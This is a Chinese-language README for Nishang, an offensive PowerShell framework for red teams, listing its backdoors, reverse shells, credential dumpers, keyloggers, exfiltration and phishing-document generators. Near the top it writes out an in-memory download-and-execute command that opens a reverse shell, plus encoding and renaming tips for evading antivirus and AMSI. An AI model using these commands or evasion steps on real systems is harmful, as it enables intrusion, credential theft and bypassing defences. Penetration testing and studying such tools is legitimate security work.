Nishang - 用于红队、渗透测试和攻击性安全的攻击性PowerShell。
作者:Nikhil Mittal Altered Security - 动手红队和企业安全培训! 创始人
在当前的 PowerShell 会话中导入所有脚本(PowerShell v3 及以上版本)。
PS C:\nishang> Import-Module .\nishang.psm1
使用点加载(dot sourcing)单独使用各个脚本。
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
要获取任何脚本或函数的帮助,请使用:
PS C:\nishang> Get-Help [脚本名称] -full
请注意,自 0.3.8 版本起,帮助信息适用于运行脚本后加载的函数,而非脚本本身。在所有情况下,函数名称与脚本名称相同。
例如,要查看 Get-WLAN-Keys.ps1 的帮助信息,请使用
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Nishang 脚本被许多防病毒软件标记为恶意。目标上的脚本旨在内存中执行,而使用 PowerShell 非常容易实现。两种在内存中执行 PowerShell 脚本的基本方法:
方法 1. 使用内存中下载并执行: 使用以下命令从远程 shell、meterpreter 原生 shell、web shell 等执行 PowerShell 脚本及其导出的函数。Nishang 中的所有脚本都在当前 PowerShell 会话中导出一个同名的函数。
powershell iex (New-Object Net.WebClient).DownloadString('http://<你的web服务器>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [端口号]
方法 2. 使用 PowerShell 的 -encodedcommand(或 -e)参数
Nishang 中的所有脚本都在当前 PowerShell 会话中导出一个同名的函数。因此,当从非 PowerShell shell 使用 encodedcommand 参数时,请确保函数调用已包含在脚本本身中。对于上述示例,添加一个函数调用(不带引号)"Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [端口号]"。
使用 Nishang 的 Invoke-Encode 对脚本进行编码:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
编码后的数据写入 .\encoded.txt 文件
编码后的命令写入 .\encodedcommand.txt 文件
从上述生成的文件中,使用 encodedcommand.txt 中的编码脚本,在能够执行命令的目标系统上运行(如远程 shell、meterpreter 原生 shell、web shell 等)。使用方式如下:
C:\Users\target> powershell -e [编码脚本]
如果脚本仍然被检测到,更改函数和参数名称并删除帮助内容会有帮助。
如果 Windows 10 的 AMSI 仍然阻止脚本执行,请参阅此博客:http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishang 目前包含以下脚本和 payload。
修改 AD 对象以提供 DCShadow 所需的最小权限。
使用此 Web Shell 在内存中执行 PowerShell 脚本、运行命令以及下载和上传文件。
一个可以从第三方网站接收指令并在内存中执行 PowerShell 脚本的后门。
一个可以从 DNS TXT 查询中接收命令和 PowerShell 脚本,在目标上执行,并通过查询远程控制目标的后门。
一个可以在目标上指定时间执行 PowerShell 脚本的后门。
一个可以从 WLAN SSID 接收命令和脚本而无需连接该 SSID 的后门。
一个可以使用 Windows 屏幕保护程序进行远程命令和脚本执行的后门。
一个可以使用备用数据流和 Windows 注册表实现持久化的后门。
一个使用众所周知的调试器技巧,通过粘滞键和 Utilman(Windows 键 + U)执行 payload 的后门。
修改 DCOM 和 WMI 命名空间的权限,允许非管理员用户访问。
修改 PowerShell 远程处理的权限,允许非管理员用户访问。
绕过/避免 AMSI 的公开方法的实现。
创建可以执行 PowerShell 命令和脚本的感染性 CHM 文件。
创建 Word 文件并感染现有文件以运行 PowerShell 命令和脚本。
创建 Excel 文件并感染现有文件以运行 PowerShell 命令和脚本。
创建可部署在 Web 服务器上并用于钓鱼活动的 HTA 文件。
创建带签名的 JAR 文件,可与 applet 一起用于脚本和命令执行。
创建能够执行 PowerShell 命令和脚本的快捷方式文件。
创建用于钓鱼凭证和 SMB 哈希的 IQY 文件。
创建能够执行 PowerShell 命令和脚本的 JS 文件。
创建能够执行 PowerShell 命令和脚本的 SCT 文件。
创建可用于捕获 NTLM 哈希质询的 SCF 文件。
当需要 SYSTEM 权限时使用。
通过移除补丁引入漏洞。
绕过 UAC。
在内存中下载并执行 PowerShell 脚本。
以文本格式下载可执行文件,将其转换为可执行文件并执行。
在拥有足够权限的 MSSQL Server 上运行 PowerShell 命令、本机命令或 SQL 命令。
使用 DNS TXT 查询在内存中执行 shellcode。
使用 rundll32.exe 执行 PowerShell 命令和脚本或反向 PowerShell 会话。
检查是否为虚拟机。
使用卷影复制服务复制 SAM 文件。
诱骗用户以明文形式提供凭据。
用于出站测试的一对脚本。
从目标获取有价值的信息。
从目标获取 LSA 机密。
从目标获取密码哈希。
从目标以明文形式获取 WLAN 密钥。
记录目标的按键。
Invoke-MimikatzWdigestDowngrade
在 Windows 8.1 和 Server 2012 上以明文形式转储用户密码。
获取 Windows 用户的密码提示。
连接回来并使用 MJPEG 流式传输目标屏幕。
在内存中加载 mimikatz。已更新并带有一些自定义功能。
使用正则表达式从目标进程(如浏览器)内存中提取有价值的信息。
使用 WLAN SSID 渗出用户凭据等信息。
识别管理员跳板机和/或用于访问 Unix 机器的计算机。
用于中间人攻击的本地 HTTPS 代理。
在多台计算机上检查凭据并创建 PSSession。
Run-EXEonRemote 在多台计算机上复制并执行可执行文件。
Invoke-NetworkRelay 在计算机之间创建网络中继。
检查正在运行的进程的哈希值并与 VirusTotal 数据库进行比对。
暴力破解 FTP、Active Directory、MSSQL 和 Sharepoint。
一个便捷的端口扫描器。
Nishang 的所有功能整合在一个脚本模块中。
将命令和脚本发送到指定的 Gmail 账户,由 Invoke-PsGcatAgent 执行。
执行 Invoke-PsGcat 发送的命令和脚本。
一个交互式 PowerShell 反向连接或绑定 shell。
Invoke-PowerShellTcp 的简化版本。还包含一个可容纳在两条推文中的骨架版本。
Invoke-PowerShellTcpOneLineBind
Invoke-PowerShellTcpOneLine 的绑定版本。
一个基于 UDP 的交互式 PowerShell 反向连接或绑定 shell。
Invoke-PowerShellUdp 的简化版本。
基于 HTTPS 的反向交互式 PowerShell。
基于 HTTP 的反向交互式 PowerShell。
使用 Invoke-PoshRatHttps 后清理系统。
使用 WMI 的交互式 PowerShell。
一个基于 ICMP 的交互式 PowerShell 反向 shell。
一个使用 rundll32.exe 基于 HTTP 的交互式 PowerShell 反向 shell。
一个使用 regsvr32.exe 基于 HTTP 的交互式 PowerShell 反向 shell。
向任何脚本添加通过 Gmail、Pastebin、Web 服务器和 DNS 的数据渗出能力。
向脚本添加重启持久化能力。
移除由 Add-Persistence 脚本添加的持久化。
通过管道 (|) 将其与任何脚本连接,以渗出输出结果。
将文件传输到目标。
解析键盘记录器记录的按键。
编码并压缩脚本或字符串。
解码并解压缩来自 Invoke-Encode 的脚本或字符串。
运行一个记录基本认证和 SMB 哈希的 Web 服务器。
将字符串编码为 ROT13 或解码 ROT13 字符串。
生成可用于其他脚本的 DNS TXT 记录。
[Base64ToString]
[StringToBase64]
[ExetoText]
[TexttoExe]
关于 Nishang 的更新信息可以在我的博客 http://labofapenetrationtester.com 和 Twitter 账号 @nikhil_mitt 上找到。
如果遇到错误或有功能请求,请提交 issue。你可以通过 nikhil [dot] uitrgpv at gmail.com 向我发送邮件。
如需反馈、讨论和功能请求,请加入:http://groups.google.com/group/nishang-users
我一直在寻找 Nishang 的贡献者。请提交请求或给我发邮件。
一些对初学者有帮助的博客文章:
http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
所有关于 Nishang 的文章: